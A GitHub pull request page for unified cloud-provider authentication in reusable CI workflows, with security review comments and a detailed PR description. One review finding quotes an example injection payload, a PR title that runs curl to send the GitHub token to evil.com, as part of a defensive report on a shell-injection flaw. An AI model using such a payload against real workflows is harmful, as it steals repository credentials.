feat: unify provider auth#78
Conversation
…workflows, add deprecation notice
…n progress on main
bryce-lynn-nttd
left a comment
There was a problem hiding this comment.
PR Review
Overall: Well-architected consolidation — composable auth, the update-status-check action solving the merge commit SHA problem, legacy compatibility, and thorough migration guide. The move from inline ${{ }} to env: blocks across existing workflows is a meaningful security improvement. A few security issues to address before this ships to 250+ repos.
Critical
1. Shell injection via PR title in reusable-pr-automated-approvals.yml
PR_TITLE="${{ github.event.pull_request.title }}"The title is interpolated directly into a run: block. Anyone who can edit a PR title can execute arbitrary shell commands. A title like "; curl evil.com?t=$GH_TOKEN; echo "chore breaks out of the string. Same issue with ${{ github.actor }} on the adjacent line.
Fix: Move both to the env: block:
env:
PR_TITLE: ${{ github.event.pull_request.title }}
GH_ACTOR: ${{ github.actor }}2. GitHub App tokens interpolated inline in shell (same file)
The approve and revoke steps interpolate ${{ steps.approver-alpha-token.outputs.token }} directly in run: blocks. Tokens should always go through env: blocks, not inline expansion.
High
3. reusable-update-from-skeleton.yml — step outputs interpolated inline
if [ "${{ steps.run-updates.outputs.pre_commit_passed }}" == "true" ] && [ "${{ inputs.recopy }}" != "true" ]; thenSince copier --trust runs upstream tasks that can write to $GITHUB_OUTPUT, these outputs are attacker-influenced. Should use env: blocks.
4. PR body heredoc bug (same file)
The heredoc uses single-quoted 'EOF' which prevents command substitution. The PR body will literally contain $(echo "$PRE_COMMIT_OUTPUT" | sed 's/^/> /') as text instead of the actual pre-commit output. Functional bug.
5. copier --trust + git add . — supply chain trust boundary
After copier update --trust, git add . commits everything including any files the skeleton's tasks may have created (e.g., modified .github/workflows/). This is inherent to the copier architecture, but worth a comment in the workflow documenting the trust assumption.
Medium
6. inputs.git_branch inline in JSON construction (reusable-terragrunt-deploy.yml, reusable-terragrunt-plan-only.yml)
Branch names with quotes or special chars could break the JSON payload or corrupt $GITHUB_OUTPUT. Should pass through env: and properly escape.
7. AWS credentials file permissions (reusable-terraform-check.yml)
~/.aws/credentials created without chmod 600.
Positive notes
- Third-party actions all pinned to full commit SHAs
- The
validate-inputspattern (fail fast before infra work) is excellent - Legacy status check emission for migration is well-designed
- AWS credential fix (step outputs instead of nonexistent secrets) is correct
- The automated approvals commit-author verification is a good defense-in-depth layer
Generated with Claude Code
bryce-lynn-nttd
left a comment
There was a problem hiding this comment.
PR Review
Overall: All previously-flagged blocking issues are fixed in 81ca00c. The shell-injection vectors via PR title and app tokens are now properly env-blocked, the heredoc bug in the skeleton update workflow is corrected, the AWS credentials file gets chmod 600 via install -m 600, and git_branch flows through env: before JSON construction. Approving.
Non-blocking observations
1. set -x while writing AWS credentials (reusable-terraform-check.yml, create-aws-profile step)
The xtrace output expands echo aws_access_key_id=$AWS_ACCESS_KEY_ID and friends. Secret masking from configure-aws-credentials does render these as *** in logs, but this was also true of the legacy workflow — worth tightening in a follow-up by dropping set -x in that step or writing via heredoc.
2. Internal action refs still on @feat/unify-provider-auth
All update-status-check, terragrunt-configure-mise, and get-custom-properties references in the consolidated workflows point at the feature branch. PR description says these will be tagged 0.15.0 — just calling out that the final repoint to the tag needs to happen before release (the existing fix: repoint to current tag commit suggests this is already on your radar).
Notable strengths (worth restating)
- Composable
auth_methodwith upfrontvalidate-inputsjobs is a clean pattern across all three consolidated workflows - The
update-status-checkaction solving the PR head SHA visibility problem is a meaningful fix that benefits the whole org - Legacy status check emission preserves merge gating during the migration
- Third-party actions all pinned to full commit SHAs
- Automated approvals commit-author verification + revoke-on-non-automated-commit is solid defense-in-depth
Generated with Claude Code (Opus 4.7)
b25cd8b
Disclaimer: I've been building this out over the last couple weeks in our
nttdtestorganization, but Claude helped with the final review and PR description.This will be tagged 0.15.0, and if nothing major arises, will become 1.0.0.
Unify Provider Authentication Across Workflows
Summary
This PR consolidates provider authentication into a composable
auth_methodpattern, introduces a newupdate-status-checkaction that correctly targets PR head commits, and adds several new reusable workflows for PR automation and skeleton-based repository updates. Existing AWS- and Azure-specific workflows are updated to emit the new status checks and have their credential handling hardened.The existing cloud-specific workflows will be removed once we're fully converted to the consolidated workflows.
New:
update-status-checkactionA new composite action at
.github/actions/update-status-checkwraps the GitHub Commit Status API. The key problem it solves:github.shaon pull request events resolves to a temporary merge commit that is invisible in the PR UI, so status checks written to it never appear. This action resolves the actual PR head SHA via the API before writing any status, ensuring checks always surface correctly in the PR.The action accepts
check_name,status(error/failure/pending/success), an optionaldescription, and an optionaltarget_url. All workflows that write status checks now go through this action.New: consolidated workflows with composable authentication
Three new unified workflows replace the pattern of maintaining separate AWS and Azure variants:
reusable-terraform-check.ymlReplaces
reusable-terraform-check-aws.ymlandreusable-terraform-check-azure.ymlas the recommended entry point for Terraform module CI. Accepts anauth_methodinput (comma-delimited:aws,azure,github, or empty for no auth) and routes to the appropriate credential steps at runtime. Features:validate-inputsjob performs upfront checks that required inputs and secrets are present for each requested auth method, failing fast with a clear error before any infrastructure-touching work beginslintandtestsjobs run in parallel (after validation passes)legacyjob writes the oldCheck AWS Terraform Code / Check AWS Terraform CodeandCheck Azure Terraform Code / Check Azure Terraform Codestatus checks on success, allowing repositories to transition to the new check names without losing merge-gate coveragereusable-terragrunt-deploy.ymlReplaces
reusable-terragrunt-deploy-aws.ymlandreusable-terragrunt-deploy-azure.ymlas the recommended entry point for Terragrunt environment deployments. Sameauth_methodcomposability. EmitsTerragrunt Plan (<tg_dir>)andTerragrunt Deploy (<tg_dir>)status checks on the PR head commit throughout execution, so the PR status is live-updated rather than only reflecting final outcome.reusable-terragrunt-plan-only.ymlReplaces
reusable-terragrunt-plan-only-aws.ymlandreusable-terragrunt-plan-only-azure.yml. Same pattern as the deploy workflow, plan-only variant.All three consolidated workflows pass inputs and secrets through
env:blocks in bash steps rather than expanding them inline, removing the risk of shell metacharacter injection from input values.New: PR automation workflows
reusable-pr-automated-approvals.ymlGrants automated approvals to PRs opened by
dependabot[bot]orlaunch-skeleton-auto-updater[bot], provided every commit on the PR was authored by one of those actors. For skeleton-updater PRs, an additional check requires the PR title to begin withchore. If a previously-approved PR later gains a commit from a non-automated author, any existing automated approvals are dismissed.Uses two configurable GitHub App identities (Alpha and Bravo) so that repositories requiring two approvals can be served without manual intervention. Includes a
validate-inputsjob that checks all required app IDs and keys before attempting any API calls.reusable-update-from-skeleton.ymlRuns
copier update(orcopier recopywhen therecopyinput is set) against the skeleton template recorded in the repository's.copier-answers.yml. After the update:git status --porcelain), the workflow exits cleanly with a step summary note.pre-commit run check-merge-conflictto check for conflict markers introduced by the update.auto-mergeenabled and achore:title — intended to land without human review once the configured status checks (Terraform lint/tests) pass.fix:title, include the pre-commit output and a list of conflicting files in the PR body, and do not enable auto-merge.Respects a
prereleaserepository custom property: when set totrue, copier will also consider pre-release versions of the skeleton template.reusable-pr-dependabot-automerge.ymlEnables auto-merge (squash) on Dependabot PRs.
Updates to existing workflows
reusable-terraform-check-aws.yml/reusable-terraform-check-azure.ymlstatuses: writepermission.Terraform LintandTerraform Testsstatus checks (pending → success/failure/error) around the existingmake lintandmake teststeps.secrets.AWS_ACCESS_KEY_IDetc. (which were never populated); now correctly reads fromsteps.aws-login.outputs.*after theconfigure-aws-credentialsstep.make configureare now passed viaenv:blocks instead of inline shell expansion.reusable-pr-conventional-commit-title.ymlstatuses: writepermission.Conventional Commit PR Titlestatus check and a legacyLabel Pull Request / Label Pull Requeststatus check, enabling repositories to gate merges on commit title validation.ready_for_reviewandedited(title change) events, preventing spurious label removal on unrelated PR activity.wipfrom the defaulttask_typeslist — work-in-progress commits should not land onmain.actions/github-script,peter-evans/find-comment,peter-evans/create-or-update-comment) to full commit SHAs.reusable-terragrunt-deploy-aws.yml,reusable-terragrunt-deploy-azure.yml,reusable-terragrunt-deploy-ephemeral-aws.yml,reusable-terragrunt-destroy-ephemeral-aws.yml,reusable-terragrunt-plan-only-aws.yml,reusable-terragrunt-plan-only-azure.ymlUpdated
terragrunt-configure-miseaction ref from@0.14.2to@0.15.0.reusable-python-uv-pytest.ymlFormatting-only: normalized step indentation to be consistent with the rest of the workflow files. No behavioural changes.
.github/actions/terragrunt-configure-mise/action.ymlFixed
toml setinvocation — the--toml-pathflag is required by the currenttoml-cliversion; the previous positional-argument form no longer works.Migration guide
Existing callers of
reusable-terraform-check-aws.yml/reusable-terraform-check-azure.yml: These workflows remain functional and now emit the new status checks alongside the legacy ones. No caller changes are required. To migrate to the consolidated workflow:Existing callers of the Terragrunt deploy/plan-only workflows: The AWS- and Azure-specific variants remain functional. To migrate, replace the provider-specific workflow ref with the consolidated one and add
auth_method.Branch protection rules: Repositories currently gating on
Check AWS Terraform Code / Check AWS Terraform CodeorCheck Azure Terraform Code / Check Azure Terraform Codewill continue to work — thelegacyjob in the consolidated workflow writes those checks on success. Once all callers have migrated, the legacy job and the old check names can be retired from branch protection rules.